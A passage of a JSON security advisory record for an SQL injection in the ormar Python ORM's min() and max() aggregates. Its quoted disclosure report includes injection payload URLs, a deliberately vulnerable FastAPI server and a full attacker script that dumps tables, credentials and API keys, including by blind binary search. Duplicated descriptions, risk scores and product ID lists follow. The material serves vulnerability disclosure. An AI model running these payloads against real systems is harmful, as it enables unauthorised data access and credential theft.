columns=[&quot;1+1&quot;]) # queryset.py:704\n    ↓\nSelectAction(select_str=&quot;1+1&quot;, model_cls=Item)          # select_action.py:22\n    ↓\n_split_value_into_parts(&quot;1+1&quot;)  →  self.field_name = &quot;1+1&quot;\n    ↓\n# min/max skip the is_numeric check (line 709 only checks sum/avg)\n    ↓\nget_text_clause()  →  sqlalchemy.text(&quot;1+1&quot;)            # select_action.py:43\n    ↓\napply_func(sqlalchemy.func.max)  →  max(1+1)\n</code></pre>\n<p>Generated SQL:</p>\n<pre><code class=\"language-sql\">SELECT max(1+1) AS &quot;1+1&quot;\nFROM (SELECT items.id AS id, items.name AS name, items.price AS price,\n             items.category AS category\n      FROM items) AS subquery_for_max\n</code></pre>\n<p>The API returns <code>{&quot;metric&quot;:&quot;max&quot;,&quot;column&quot;:&quot;1+1&quot;,&quot;result&quot;:2}</code>, confirming that the arithmetic expression was evaluated as SQL.</p>\n<h3>2. The attacker enumerates database tables</h3>\n<p>The attacker injects a subquery to read <code>sqlite_master</code>:</p>\n<pre><code>GET /items/stats?metric=max&amp;column=(SELECT GROUP_CONCAT(name) FROM sqlite_master WHERE type='table')\n</code></pre>\n<p>Which internally calls:</p>\n<pre><code class=\"language-python\">await Item.objects.max(\n    &quot;(SELECT GROUP_CONCAT(name) FROM sqlite_master WHERE type='table')&quot;\n)\n</code></pre>\n<p>Generated SQL:</p>\n<pre><code class=\"language-sql\">SELECT max((SELECT GROUP_CONCAT(name) FROM sqlite_master WHERE type='table'))\n       AS &quot;(SELECT GROUP_CONCAT(name) FROM sqlite_master WHERE type='table')&quot;\nFROM (SELECT items.id, items.name, items.price, items.category\n      FROM items) AS subquery_for_max\n</code></pre>\n<p>The API returns <code>categories,admin_users,items</code>, revealing the hidden <code>admin_users</code> table.</p>\n<h3>3. The attacker extracts the schema of the target table</h3>\n<pre><code>GET /items/stats?metric=max&amp;column=(SELECT sql FROM sqlite_master WHERE name='admin_users')\n</code></pre>\n<p>The API returns the full <code>CREATE TABLE</code> statement, revealing column names: <code>username</code>, <code>password</code>, <code>api_key</code>.</p>\n<h3>4. The attacker dumps all credentials in a single query</h3>\n<pre><code>GET /items/stats?metric=max&amp;column=(SELECT GROUP_CONCAT(username || ' | ' || password || ' | ' || api_key, CHAR(10)) FROM admin_users)\n</code></pre>\n<p>Generated SQL:</p>\n<pre><code class=\"language-sql\">SELECT max((SELECT GROUP_CONCAT(username || ' | ' || password || ' | ' || api_key, CHAR(10))\n            FROM admin_users))\n       AS &quot;...&quot;\nFROM (SELECT items.id, items.name, items.price, items.category\n      FROM items) AS subquery_for_max\n</code></pre>\n<p>The API returns all credentials:</p>\n<pre><code>root | Sup3r$ecretP@ss! | ak-9f8e7d6c5b4a3210-prod\ndeploy-bot | ghp_Tx7KmR29vLp4QzN1bWcA3sYjDf80Ue5Xoi | ak-1a2b3c4d5e6f7890-ci\n</code></pre>\n<h3>5. Blind boolean-based extraction (when results are not directly visible)</h3>\n<p>Even if the API does not return query results directly, the attacker can use boolean-based blind injection to extract data character by character using binary search:</p>\n<pre><code>GET /items/stats?metric=max&amp;column=CASE WHEN UNICODE(SUBSTR((SELECT password FROM admin_users WHERE username='root'),1,1))&gt;83 THEN 1 ELSE 0 END\n</code></pre>\n<p>Which internally calls:</p>\n<pre><code class=\"language-python\"># &quot;Is the Nth character of root's password greater than ASCII code M?&quot;\nawait Item.objects.max(\n    &quot;CASE WHEN UNICODE(SUBSTR(&quot;\n    &quot;(SELECT password FROM admin_users WHERE username='root'),1,1))&gt;83 &quot;\n    &quot;THEN 1 ELSE 0 END&quot;\n)\n# Returns 0 → first character is 'S' (ASCII 83)\n</code></pre>\n<p>By iterating over each position with binary search, the full password <code>Sup3r$ecretP@ss!</code> is extracted in approximately 113 HTTP requests (16 characters x ~7 binary search steps).</p>\n<h3>6. The attacker extracts the production API key</h3>\n<pre><code>GET /items/stats?metric=max&amp;column=(SELECT api_key FROM admin_users WHERE username='root')\n</code></pre>\n<p>The API returns: <code>ak-9f8e7d6c5b4a3210-prod</code></p>\n<p>All data was extracted through a single public API endpoint using only unauthenticated GET requests.</p>\n<!-- notionvc: b3e8123b-0876-4c76-94f6-2281c6cbb3f0 -->## Start the vulnerable application\n\n1. Install dependencies:\n\n```bash\npip install ormar databases aiosqlite fastapi uvicorn httpx\n```\n\n1. The vulnerable server (`poc_server.py`) is based on the **official ormar FastAPI example** ([[ormar/examples/fastapi_quick_start.py](https://github.com/collerek/ormar/blob/master/examples/fastapi_quick_start.py)](https://github.com/collerek/ormar/blob/master/examples/fastapi_quick_start.py)). The only modification is the addition of a `/items/stats` endpoint — a common pattern for applications that provide aggregate statistics. This demonstrates that the vulnerability is easily triggered by natural API design.\n\nThe server defines three models:\n\n- `Category` and `Item` — from the official ormar example (unchanged)\n- `AdminUser` — simulates internal data (e.g., an admin_users table) that should NOT be accessible through the public API\n\nThe vulnerable endpoint:\n\n```python\n# Added endpoint: aggregate statistics (VULNERABLE)\n# This is a common and natural pattern — letting users request\n# statistics on different columns. The ormar documentation itself\n# shows: await Book.objects.max(columns=[\"year\"])\n# See: <https://collerek.github.io/ormar/queries/aggregations/>\n\n@app.get(\"/items/stats\")\nasync def item_stats(\n    metric: str = Query(\"max\", description=\"max or min\"),\n    column: str = Query(\"price\", description=\"Column to aggregate\"),\n):\n    \"\"\"Return aggregate statistics for items.\"\"\"\n    if metric == \"max\":\n        result = await Item.objects.max(column)\n    elif metric == \"min\":\n        result = await Item.objects.min(column)\n    else:\n        return {\"error\": \"Unsupported metric\"}\n    return {\"metric\": metric, \"column\": column, \"result\": result}\n```\n\nThe database contains:\n\n| Table | Data |\n| --- | --- |\n| `categories` | Electronics |\n| `items` | Laptop ($999.99), Phone ($699.99), Tablet ($449.99), Monitor ($329.99) |\n| `admin_users` | root / Sup3r$ecretP@ss! / ak-9f8e7d6c5b4a3210-prod |\n|  | deploy-bot / ghp_Tx7KmR29vLp4QzN1bWcA3sYjDf80Ue5Xoi / ak-1a2b3c4d5e6f7890-ci |\n\nThe `admin_users` table is **NOT** exposed via any API endpoint.\n\n## The attack steps\n\nThe PoC requires two terminals:\n\n**Terminal 1** — Start the vulnerable server:\n\n```bash\npython poc_server.py\n```\n\n**Terminal 2** — Run the attacker script:\n\n```bash\npython poc_attacker.py\n```\n\nThe attacker script (`poc_attacker.py`) sends HTTP requests to the running server. It has **NO prior knowledge** of the database schema — all information is discovered through the injection. The attacker executes 6 progressive attack stages through the single `/items/stats` endpoint.\n\n## Principle of vulnerability exploitation\n\n### 1. The attacker confirms injection by sending an arithmetic expression\n\nThe attacker sends `GET /items/stats?metric=max&column=1+1`. The data flow is:\n\n```\nHTTP request: GET /items/stats?metric=max&column=1+1\n    ↓\nitem_stats(metric=\"max\", column=\"1+1\")                # poc_server.py\n    ↓\nItem.objects.max(\"1+1\")                                # queryset.py:721\n    ↓\n_query_aggr_function(func_name=\"max\", columns=[\"1+1\"]) # queryset.py:704\n    ↓\nSelectAction(select_str=\"1+1\", model_cls=Item)          # select_action.py:22\n    ↓\n_split_value_into_parts(\"1+1\")  →  self.field_name = \"1+1\"\n    ↓\n# min/max skip the is_numeric check (line 709 only checks sum/avg)\n    ↓\nget_text_clause()  →  sqlalchemy.text(\"1+1\")            # select_action.py:43\n    ↓\napply_func(sqlalchemy.func.max)  →  max(1+1)\n```\n\nGenerated SQL:\n\n```sql\nSELECT max(1+1) AS \"1+1\"\nFROM (SELECT items.id AS id, items.name AS name, items.price AS price,\n             items.category AS category\n      FROM items) AS subquery_for_max\n```\n\nThe API returns `{\"metric\":\"max\",\"column\":\"1+1\",\"result\":2}`, confirming that the arithmetic expression was evaluated as SQL.\n\n### 2. The attacker enumerates database tables\n\nThe attacker injects a subquery to read `sqlite_master`:\n\n```\nGET /items/stats?metric=max&column=(SELECT GROUP_CONCAT(name) FROM sqlite_master WHERE type='table')\n```\n\nWhich internally calls:\n\n```python\nawait Item.objects.max(\n    \"(SELECT GROUP_CONCAT(name) FROM sqlite_master WHERE type='table')\"\n)\n```\n\nGenerated SQL:\n\n```sql\nSELECT max((SELECT GROUP_CONCAT(name) FROM sqlite_master WHERE type='table'))\n       AS \"(SELECT GROUP_CONCAT(name) FROM sqlite_master WHERE type='table')\"\nFROM (SELECT items.id, items.name, items.price, items.category\n      FROM items) AS subquery_for_max\n```\n\nThe API returns `categories,admin_users,items`, revealing the hidden `admin_users` table.\n\n### 3. The attacker extracts the schema of the target table\n\n```\nGET /items/stats?metric=max&column=(SELECT sql FROM sqlite_master WHERE name='admin_users')\n```\n\nThe API returns the full `CREATE TABLE` statement, revealing column names: `username`, `password`, `api_key`.\n\n### 4. The attacker dumps all credentials in a single query\n\n```\nGET /items/stats?metric=max&column=(SELECT GROUP_CONCAT(username || ' | ' || password || ' | ' || api_key, CHAR(10)) FROM admin_users)\n```\n\nGenerated SQL:\n\n```sql\nSELECT max((SELECT GROUP_CONCAT(username || ' | ' || password || ' | ' || api_key, CHAR(10))\n            FROM admin_users))\n       AS \"...\"\nFROM (SELECT items.id, items.name, items.price, items.category\n      FROM items) AS subquery_for_max\n```\n\nThe API returns all credentials:\n\n```\nroot | Sup3r$ecretP@ss! | ak-9f8e7d6c5b4a3210-prod\ndeploy-bot | ghp_Tx7KmR29vLp4QzN1bWcA3sYjDf80Ue5Xoi | ak-1a2b3c4d5e6f7890-ci\n```\n\n### 5. Blind boolean-based extraction (when results are not directly visible)\n\nEven if the API does not return query results directly, the attacker can use boolean-based blind injection to extract data character by character using binary search:\n\n```\nGET /items/stats?metric=max&column=CASE WHEN UNICODE(SUBSTR((SELECT password FROM admin_users WHERE username='root'),1,1))>83 THEN 1 ELSE 0 END\n```\n\nWhich internally calls:\n\n```python\n# \"Is the Nth character of root's password greater than ASCII code M?\"\nawait Item.objects.max(\n    \"CASE WHEN UNICODE(SUBSTR(\"\n    \"(SELECT password FROM admin_users WHERE username='root'),1,1))>83 \"\n    \"THEN 1 ELSE 0 END\"\n)\n# Returns 0 → first character is 'S' (ASCII 83)\n```\n\nBy iterating over each position with binary search, the full password `Sup3r$ecretP@ss!` is extracted in approximately 113 HTTP requests (16 characters x ~7 binary search steps).\n\n### 6. The attacker extracts the production API key\n\n```\nGET /items/stats?metric=max&column=(SELECT api_key FROM admin_users WHERE username='root')\n```\n\nThe API returns: `ak-9f8e7d6c5b4a3210-prod`\n\nAll data was extracted through a single public API endpoint using only unauthenticated GET requests.\n## The complete POC\n\n### poc_server.py (Vulnerable Server)\n\nBased on the official ormar FastAPI example ([[fastapi_quick_start.py](https://github.com/collerek/ormar/blob/master/examples/fastapi_quick_start.py)](https://github.com/collerek/ormar/blob/master/examples/fastapi_quick_start.py)):\n\n```python\n\"\"\"\nCVE PoC — Vulnerable Server\n=============================\nBased on the OFFICIAL ormar FastAPI example:\n    <https://github.com/collerek/ormar/blob/master/examples/fastapi_quick_start.py>\n\nThe only modification is the addition of a /items/stats endpoint (line 63-76),\nwhich is a common pattern for any application that provides aggregate statistics.\n\nUsage:\n    python poc_server.py\n\"\"\"\n\n# ── Original official example code (unchanged) ───────────────\n# Source: ormar/examples/fastapi_quick_start.py\n\nfrom contextlib import asynccontextmanager\nfrom typing import List, Optional\n\nimport databases\nimport ormar\nimport sqlalchemy\nimport uvicorn\nfrom fastapi import FastAPI, Query\n\nDATABASE_URL = \"sqlite:///poc_vuln.db\"\n\normar_base_config = ormar.OrmarConfig(\n    database=databases.Database(DATABASE_URL), metadata=sqlalchemy.MetaData()\n)\n\nclass Category(ormar.Model):\n    ormar_config = ormar_base_config.copy(tablename=\"categories\")\n\n    id: int = ormar.Integer(primary_key=True)\n    name: str = ormar.String(max_length=100)\n\nclass Item(ormar.Model):\n    ormar_config = ormar_base_config.copy(tablename=\"items\")\n\n    id: int = ormar.Integer(primary_key=True)\n    name: str = ormar.String(max_length=100)\n    price: float = ormar.Float(default=0)\n    category: Optional[Category] = ormar.ForeignKey(Category, nullable=True)\n\n# This table simulates internal data that should NOT be accessible\n# through the public API — e.g. an admin_users table in the same database.\nclass AdminUser(ormar.Model):\n    ormar_config = ormar_base_config.copy(tablename=\"admin_users\")\n\n    id: int = ormar.Integer(primary_key=True)\n    username: str = ormar.String(max_length=100)\n    password: str = ormar.String(max_length=200)\n    api_key: str = ormar.String(max_length=200)\n\n@asynccontextmanager\nasync def lifespan(app: FastAPI):\n    database_ = ormar_base_config.database\n    if not database_.is_connected:\n        await database_.connect()\n\n    # Create tables\n    engine = sqlalchemy.create_engine(DATABASE_URL)\n    ormar_base_config.metadata.create_all(engine)\n    engine.dispose()\n\n    # Seed sample data\n    if not await Item.objects.count():\n        cat = await Category.objects.create(name=\"Electronics\")\n        await Item.objects.create(name=\"Laptop\", price=999.99, category=cat)\n        await Item.objects.create(name=\"Phone\", price=699.99, category=cat)\n        await Item.objects.create(name=\"Tablet\", price=449.99, category=cat)\n        await Item.objects.create(name=\"Monitor\", price=329.99, category=cat)\n\n    if not await AdminUser.objects.count():\n        await AdminUser.objects.create(\n            username=\"root\",\n            password=\"Sup3r$ecretP@ss!\",\n            api_key=\"ak-9f8e7d6c5b4a3210-prod\",\n        )\n        await AdminUser.objects.create(\n            username=\"deploy-bot\",\n            password=\"ghp_Tx7KmR29vLp4QzN1bWcA3sYjDf80Ue5Xoi\",\n            api_key=\"ak-1a2b3c4d5e6f7890-ci\",\n        )\n\n    print(\"\\\\n  [Server] Ready. Database seeded with items + admin_users.\")\n    print(\"  [Server] The admin_users table is NOT exposed via any API endpoint.\\\\n\")\n\n    yield\n\n    if database_.is_connected:\n        await database_.disconnect()\n\napp = FastAPI(\n    title=\"Item Catalog API\",\n    description=\"Based on official ormar FastAPI example\",\n    lifespan=lifespan,\n)\n\n# ── Original endpoints from official example (unchanged) ──────\n\n@app.get(\"/items/\", response_model=List[Item])\nasync def get_items():\n    items = await Item.objects.select_related(\"category\").all()\n    return items\n\n@app.post(\"/items/\", response_model=Item)\nasync def create_item(item: Item):\n    await item.save()\n    return item\n\n@app.post(\"/categories/\", response_model=Category)\nasync def create_category(category: Category):\n    await category.save()\n    return category\n\n@app.put(\"/items/{item_id}\")\nasync def get_item(item_id: int, item: Item):\n    item_db = await Item.objects.get(pk=item_id)\n    return await item_db.update(**item.model_dump())\n\n@app.delete(\"/items/{item_id}\")\nasync def delete_item(item_id: int, item: Item = None):\n    if item:\n        return {\"deleted_rows\": await item.delete()}\n    item_db = await Item.objects.get(pk=item_id)\n    return {\"deleted_rows\": await item_db.delete()}\n\n# ── Added endpoint: aggregate statistics (VULNERABLE) ─────────\n# This is a common and natural pattern — letting users request\n# statistics on different columns. The ormar documentation itself\n# shows: await Book.objects.max(columns=[\"year\"])\n# See: <https://collerek.github.io/ormar/queries/aggregations/>\n\n@app.get(\"/items/stats\")\nasync def item_stats(\n    metric: str = Query(\"max\", description=\"max or min\"),\n    column: str = Query(\"price\", description=\"Column to aggregate\"),\n):\n    \"\"\"Return aggregate statistics for items.\"\"\"\n    if metric == \"max\":\n        result = await Item.objects.max(column)\n    elif metric == \"min\":\n        result = await Item.objects.min(column)\n    else:\n        return {\"error\": \"Unsupported metric\"}\n    return {\"metric\": metric, \"column\": column, \"result\": result}\n\n@app.get(\"/health\")\nasync def health():\n    return {\"status\": \"ok\"}\n\n# ── Main ──────────────────────────────────────────────────────\nif __name__ == \"__main__\":\n    import os\n    # Clean previous database for reproducibility\n    if os.path.exists(\"poc_vuln.db\"):\n        os.unlink(\"poc_vuln.db\")\n    print(\"=\" * 60)\n    print(\"  CVE PoC — Vulnerable Server\")\n    print(\"  Based on: ormar/examples/fastapi_quick_start.py\")\n    print(\"  Added:    GET /items/stats?metric=max&column=<input>\")\n    print(\"  Docs:     <http://127.0.0.1:8000/docs>\")\n    print(\"=\" * 60)\n    uvicorn.run(app, host=\"127.0.0.1\", port=8000, log_level=\"warning\")\n```\n\n### poc_attacker.py (Attacker Script)\n\n```python\n\"\"\"\nCVE PoC — Attacker Script\n===========================\nExploits the SQL injection in /items/stats endpoint.\nSends HTTP requests to the running FastAPI server.\n\nPrerequisites:\n    1. Start the server first:  python poc_server.py\n    2. Then run this script:    python poc_attacker.py\n\nThe attacker has NO prior knowledge of the database schema.\nAll information is discovered through the injection.\n\"\"\"\n\nimport sys\nimport httpx\n\nTARGET = \"<http://127.0.0.1:8000>\"\nENDPOINT = \"/items/stats\"\n\ndef inject(payload: str) -> str:\n    \"\"\"Send a single injection payload via the public API.\"\"\"\n    resp = httpx.get(TARGET + ENDPOINT, params={\"metric\": \"max\", \"column\": payload})\n    data = resp.json()\n    return data.get(\"result\")\n\ndef main():\n    # ── Pre-check ─────────────────────────────────────────────\n    try:\n        r = httpx.get(TARGET + \"/health\", timeout=3)\n        if r.status_code != 200:\n            sys.exit(1)\n    except httpx.ConnectError:\n        print(f\"Cannot connect to {TARGET}\")\n        print(f\"Start the server first: python poc_server.py\")\n        sys.exit(1)\n\n    # ── Stage 0: Legitimate request ──────────────────────────\n    result = inject(\"price\")\n    print(f\"[Stage 0] Normal usage: max(price) = {result}\")\n\n    # ── Stage 1: Confirm injection ────────────────────────────\n    result = inject(\"1+1\")\n    print(f\"[Stage 1] max('1+1') = {result}\")\n    if result == 2:\n        print(\"  → SQL INJECTION CONFIRMED\")\n\n    # ── Stage 2: Enumerate tables ─────────────────────────────\n    payload = \"(SELECT GROUP_CONCAT(name) FROM sqlite_master WHERE type='table')\"\n    result = inject(payload)\n    tables = str(result).split(\",\") if result else []\n    print(f\"[Stage 2] Tables: {result}\")\n\n    # ── Stage 3: Extract schema ───────────────────────────────\n    target_table = [t for t in tables if \"admin\" in t.lower()]\n    target_table = target_table[0] if target_table else tables[-1]\n    payload = f\"(SELECT sql FROM sqlite_master WHERE name='{target_table}')\"\n    result = inject(payload)\n    print(f\"[Stage 3] Schema of {target_table}: {result}\")\n\n    # ── Stage 4: Dump all credentials ─────────────────────────\n    payload = (\n        f\"(SELECT GROUP_CONCAT(\"\n        f\"username || ' | ' || password || ' | ' || api_key, CHAR(10))\"\n        f\" FROM {target_table})\"\n    )\n    result = inject(payload)\n    print(f\"[Stage 4] Credentials:\\\\n{result}\")\n\n    # ── Stage 5: Blind extraction ─────────────────────────────\n    payload = f\"LENGTH((SELECT password FROM {target_table} WHERE username='root'))\"\n    pw_len = int(inject(payload))\n    extracted = \"\"\n    request_count = 0\n    for pos in range(1, pw_len + 1):\n        low, high = 32, 126\n        while low <= high:\n            mid = (low + high) // 2\n            payload = (\n                f\"CASE WHEN UNICODE(SUBSTR(\"\n                f\"(SELECT password FROM {target_table} \"\n                f\"WHERE username='root'),{pos},1))>{mid} \"\n                f\"THEN 1 ELSE 0 END\"\n            )\n            result = inject(payload)\n            request_count += 1\n            if result == 1:\n                low = mid + 1\n            else:\n                high = mid - 1\n        extracted += chr(low)\n        sys.stdout.write(f\"\\\\r[Stage 5] Extracting: {extracted}\")\n        sys.stdout.flush()\n    print(f\"\\\\n[Stage 5] Password extracted: {extracted} ({request_count} requests)\")\n\n    # ── Stage 6: Steal API key ────────────────────────────────\n    payload = f\"(SELECT api_key FROM {target_table} WHERE username='root')\"\n    result = inject(payload)\n    print(f\"[Stage 6] Production API key: {result}\")\n\n    print(f\"\\\\nTotal HTTP requests: {request_count + 6}\")\n    print(\"All data extracted through a single public API endpoint.\")\n\nif __name__ == \"__main__\":\n    main()\n```\n\n## Vulnerability Impact\n\nThis attack allows an unauthenticated user to read the entire database contents. Any API endpoint that passes user-controlled input to `Model.objects.min()` or `Model.objects.max()` becomes a full SQL injection entry point.\n\nThe attack is confirmed to work with the following database backends:\n\n- SQLite (via aiosqlite)\n- PostgreSQL (via asyncpg) — subquery syntax is identical\n- MySQL (via aiomysql) — subquery syntax is compatible\n\n**Realistic attack scenarios include:**\n\n- **REST APIs** with user-selectable aggregate fields: `GET /items/stats?column=<input>`\n- **GraphQL resolvers** that accept field names as arguments\n- **Dynamic report generators** where users select columns for aggregation\n\nThe vulnerable server in this PoC is based on the **official ormar FastAPI example**, demonstrating that the vulnerability is easily triggered through natural, documented API design patterns. The ormar documentation itself shows this exact usage pattern: `await Book.objects.max(columns=[\"year\"])` ([[ormar aggregations docs](https://collerek.github.io/ormar/queries/aggregations/)](https://collerek.github.io/ormar/queries/aggregations/)).\n\n## Display of attack results\nTerminal 1 — Start server:\n![image](https://github.com/user-attachments/assets/4c8b4a20-75da-4aba-b649-f818e46165dd)\nTerminal 2 — Run attacker:\n<img width=\"2004\" height=\"1478\" alt=\"image (1)\" src=\"https://github.com/user-attachments/assets/ae41657b-2730-4fab-ac01-e79acd267bde\" />\n<img width=\"1984\" height=\"1500\" alt=\"image (2)\" src=\"https://github.com/user-attachments/assets/cbe0d652-d4d4-458c-998b-e636d6c362a1\" />",
                    "title": "osv - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/PyPI%2FGHSA-xxh2-68g9-8jqr.json?alt=media"
                },
                {
                    "category": "description",
                    "text": "Ormar is a async mini ORM for Python. In versions 0.9.9 through 0.22.0, when performing aggregate queries, Ormar ORM constructs SQL expressions by passing user-supplied column names directly into `sqlalchemy.text()` without any validation or sanitization. The `min()` and `max()` methods in the `QuerySet` class accept arbitrary string input as the column parameter. While `sum()` and `avg()` are partially protected by an `is_numeric` type check that rejects non-existent fields, `min()` and `max()` skip this validation entirely. As a result, an attacker-controlled string is embedded as raw SQL inside the aggregate function call. Any unauthorized user can exploit this vulnerability to read the entire database contents, including tables unrelated to the queried model, by injecting a subquery as the column parameter. Version 0.23.0 contains a patch.",
                    "title": "nvd - https://nvd.nist.gov/vuln/detail/CVE-2026-26198"
                },
                {
                    "category": "description",
                    "text": "Ormar is a async mini ORM for Python. In versions 0.9.9 through 0.22.0, when performing aggregate queries, Ormar ORM constructs SQL expressions by passing user-supplied column names directly into `sqlalchemy.text()` without any validation or sanitization. The `min()` and `max()` methods in the `QuerySet` class accept arbitrary string input as the column parameter. While `sum()` and `avg()` are partially protected by an `is_numeric` type check that rejects non-existent fields, `min()` and `max()` skip this validation entirely. As a result, an attacker-controlled string is embedded as raw SQL inside the aggregate function call. Any unauthorized user can exploit this vulnerability to read the entire database contents, including tables unrelated to the queried model, by injecting a subquery as the column parameter. Version 0.23.0 contains a patch.",
                    "title": "cveprojectv5 - https://www.cve.org/CVERecord?id=CVE-2026-26198"
                },
                {
                    "category": "description",
                    "text": "Ormar is a async mini ORM for Python. In versions 0.9.9 through 0.22.0, when performing aggregate queries, Ormar ORM constructs SQL expressions by passing user-supplied column names directly into `sqlalchemy.text()` without any validation or sanitization. The `min()` and `max()` methods in the `QuerySet` class accept arbitrary string input as the column parameter. While `sum()` and `avg()` are partially protected by an `is_numeric` type check that rejects non-existent fields, `min()` and `max()` skip this validation entirely. As a result, an attacker-controlled string is embedded as raw SQL inside the aggregate function call. Any unauthorized user can exploit this vulnerability to read the entire database contents, including tables unrelated to the queried model, by injecting a subquery as the column parameter. Version 0.23.0 contains a patch.",
                    "title": "osv - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/GIT%2FCVE-2026-26198.json?alt=media"
                },
                {
                    "category": "description",
                    "text": "Ormar is a async mini ORM for Python. In versions 0.9.9 through 0.22.0, when performing aggregate queries, Ormar ORM constructs SQL expressions by passing user-supplied column names directly into `sqlalchemy.text()` without any validation or sanitization. The `min()` and `max()` methods in the `QuerySet` class accept arbitrary string input as the column parameter. While `sum()` and `avg()` are partially protected by an `is_numeric` type check that rejects non-existent fields, `min()` and `max()` skip this validation entirely. As a result, an attacker-controlled string is embedded as raw SQL inside the aggregate function call. Any unauthorized user can exploit this vulnerability to read the entire database contents, including tables unrelated to the queried model, by injecting a subquery as the column parameter. Version 0.23.0 contains a patch.",
                    "title": "debian - https://security-tracker.debian.org/tracker/CVE-2026-26198"
                },
                {
                    "category": "description",
                    "text": "Affected versions of the ormar package are vulnerable to SQL Injection due to passing user-supplied column names into raw SQL text without validation. In ormar, QuerySet.min() and QuerySet.max() pass the attacker-controlled columns argument through _query_aggr_function() into SelectAction.get_text_clause(), which calls sqlalchemy.text(f\"{alias}{self.field_name}\") and then wraps it with sqlalchemy.func.min()/sqlalchemy.func.max(), allowing arbitrary SQL expressions to be embedded in the generated query.",
                    "title": "pyupio - https://pyupio.github.io/safety-db/#ormar"
                },
                {
                    "category": "description",
                    "text": "# Report of SQL Injection Vulnerability in Ormar ORM\n\n## A SQL Injection attack can be achieved by passing a crafted string to the min() or max() aggregate functions.\n\n## Brief description\n\nWhen performing aggregate queries, Ormar ORM constructs SQL expressions by passing user-supplied column names directly into `sqlalchemy.text()` without any validation or sanitization. The `min()` and `max()` methods in the `QuerySet` class accept arbitrary string input as the column parameter. While `sum()` and `avg()` are partially protected by an `is_numeric` type check that rejects non-existent fields, `min()` and `max()` skip this validation entirely. As a result, an attacker-controlled string is embedded as raw SQL inside the aggregate function call. Any unauthorized user can exploit this vulnerability to read the entire database contents, including tables unrelated to the queried model, by injecting a subquery as the column parameter.\n\n## Affected versions\n\n```\n0.9.9 - 0.12.2\n0.20.0b1 - 0.22.0 (latest)\n```\n\nThe vulnerable `SelectAction.get_text_clause()` method and the `min()`/`max()` aggregate functions were introduced together in commit `ff9d412` (March 12, 2021) and first released in version **0.9.9**. The vulnerable code has never been modified since — `get_text_clause()` is identical in every subsequent version through the latest **0.21.0**.\n\nVersions prior to 0.9.9 do not contain the `min()`/`max()` aggregate feature and are not affected.\n\nThe following uses the latest ormar 0.21.0 as an example to illustrate the attack.\n\n## Vulnerability details\n\nWhen performing an aggregate query, the `QuerySet.max()` method (line 721, `queryset.py`) passes user input to `_query_aggr_function()`. This method creates a `SelectAction` object for each column name. The column string is split by `__` and the last part becomes `self.field_name` — with no validation against the model's actual fields.\n\nThe critical vulnerability is in `SelectAction.get_text_clause()` (line 41-43, `select_action.py`), which directly passes `self.field_name` into `sqlalchemy.text()`:\n\n```python\n#select_action.py line 41-43\ndef get_text_clause(self) -> sqlalchemy.sql.expression.TextClause:\n    alias = f\"{self.table_prefix}_\" if self.table_prefix else \"\"\n    return sqlalchemy.text(f\"{alias}{self.field_name}\")  # unsanitised user input!\n```\n\nThe `apply_func()` method then wraps this raw text clause inside `func.max()`, producing SQL like `max(<attacker_input>)`. Since `sqlalchemy.text()` treats its argument as literal SQL, any subquery or SQL expression injected through the column name will be executed by the database engine.\n\nThe `_query_aggr_function()` method (line 704-719, `queryset.py`) only validates field types for `sum` and `avg`, leaving `min` and `max` completely unprotected:\n\n```python\n#queryset.py line 704-719\nasync def _query_aggr_function(self, func_name: str, columns: List) -> Any:\n    func = getattr(sqlalchemy.func, func_name)\n    select_actions = [\n        SelectAction(select_str=column, model_cls=self.model) for column in columns\n    ]\n    if func_name in [\"sum\", \"avg\"]:          # <-- only sum/avg are checked!\n        if any(not x.is_numeric for x in select_actions):\n            raise QueryDefinitionError(...)\n    select_columns = [x.apply_func(func, use_label=True) for x in select_actions]\n    expr = self.build_select_expression().alias(f\"subquery_for_{func_name}\")\n    expr = sqlalchemy.select(*select_columns).select_from(expr)\n    result = await self.database.fetch_one(expr)\n    return dict(result) if len(result) > 1 else result[0]\n```\n\nTo reproduce the attack, you can follow the steps below, using a FastAPI application with SQLite as an example.",
                    "title": "gitlab - https://gitlab.com/api/v4/projects/25847700/repository/files/pypi%2Formar%2FCVE-2026-26198.yml/raw"
                },
                {
                    "category": "other",
                    "text": "0.00041",
                    "title": "EPSS"
                },
                {
                    "category": "other",
                    "text": "3.7",
                    "title": "NCSC Score"
                },
                {
                    "category": "other",
                    "text": "Is related to a product by vendor Debian",
                    "title": "NCSC Score top increasing factors"
                },
                {
                    "category": "other",
                    "text": "Is related to a product by vendor Unknown, Exploit code publicly available, There is exploit data available from source Nvd",
                    "title": "NCSC Score top decreasing factors"
                }
            ],
            "product_status": {
                "fixed": [
                    "CSAFPID-5908750"
                ],
                "known_affected": [
                    "CSAFPID-5681859",
                    "CSAFPID-5681860",
                    "CSAFPID-5681861",
                    "CSAFPID-5681862",
                    "CSAFPID-5681863",
                    "CSAFPID-5681864",
                    "CSAFPID-5681865",
                    "CSAFPID-5681866",
                    "CSAFPID-5681867",
                    "CSAFPID-5681868",
                    "CSAFPID-5681869",
                    "CSAFPID-5681870",
                    "CSAFPID-5681871",
                    "CSAFPID-5681872",
                    "CSAFPID-5681873",
                    "CSAFPID-5681874",
                    "CSAFPID-5681875",
                    "CSAFPID-5681876",
                    "CSAFPID-5681877",
                    "CSAFPID-5681878",
                    "CSAFPID-5681879",
                    "CSAFPID-5681880",
                    "CSAFPID-5681881",
                    "CSAFPID-5681882",
                    "CSAFPID-5681883",
                    "CSAFPID-5681884",
                    "CSAFPID-5681885",
                    "CSAFPID-5681886",
                    "CSAFPID-5681887",
                    "CSAFPID-5681888",
                    "CSAFPID-5681889",
                    "CSAFPID-5681890",
                    "CSAFPID-5681891",
                    "CSAFPID-5681892",
                    "CSAFPID-5681893",
                    "CSAFPID-5681894",
                    "CSAFPID-5681895",
                    "CSAFPID-5681897",
                    "CSAFPID-5681898",
                    "CSAFPID-5681899",
                    "CSAFPID-5681900",
                    "CSAFPID-5700554",
                    "CSAFPID-5748835",
                    "CSAFPID-5748836",
                    "CSAFPID-5748837",
                    "CSAFPID-5748838",
                    "CSAFPID-5748839",
                    "CSAFPID-5748840",
                    "CSAFPID-5748841",
                    "CSAFPID-5748842",
                    "CSAFPID-5748843",
                    "CSAFPID-5748844",
                    "CSAFPID-5748845",
                    "CSAFPID-5748846",
                    "CSAFPID-5748847",
                    "CSAFPID-5748848",
                    "CSAFPID-5748849",
                    "CSAFPID-5748850",
                    "CSAFPID-5748851",
                    "CSAFPID-5748852",
                    "CSAFPID-5748853",
                    "CSAFPID-5748854",
                    "CSAFPID-5748855",
